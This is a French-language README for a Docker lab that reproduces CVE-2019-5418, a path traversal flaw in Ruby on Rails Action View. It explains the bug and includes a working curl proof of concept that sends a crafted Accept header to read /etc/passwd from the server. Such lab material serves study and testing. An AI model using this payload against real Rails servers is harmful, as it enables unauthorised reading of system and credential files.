
Environnement de laboratoire basé sur Docker pour l'exploit de traversée de chemin CVE-2019-5418 Ruby on Rails, avec des commandes curl PoC pour lire des fichiers arbitraires du serveur via des en-têtes Accept conçus.
Ce projet est un environnement permettant de s'entraîner et de reproduire la vulnérabilité d'inclusion de fichier local (CVE-2019-5418) de Ruby on Rails.
Cette vulnérabilité permet de lire des fichiers arbitraires sur le serveur via une traversée de chemin exploitant l'en-tête Accept.
Ruby on Rails est un framework d'applications web qui permet aux développeurs de créer des applications web rapidement et facilement.
L'Action View de Ruby on Rails des versions <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 et v3 présente une vulnérabilité d'inclusion de fichier local.
Lorsque render file est utilisé dans un contrôleur pour afficher une vue située à l'extérieur de l'application, Rails détermine l'emplacement du fichier en fonction de l'en-tête Accept fourni par l'utilisateur. En envoyant un en-tête Accept contenant une valeur telle que Accept: ../../../../../../../../etc/passwd{{, l'attaquant peut exploiter la vulnérabilité de traversée de chemin pour lire des fichiers arbitraires.
Exécutez les commandes suivantes pour compiler et démarrer Ruby on Rails 5.2.2 :
docker compose build
docker compose up -d
Une fois le serveur démarré, vous pouvez visiter la page Ruby on Rails en accédant à http://your-ip:3000.

curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots
Nous avons réussi à lire un fichier arbitraire sur le serveur via l'en-tête Accept.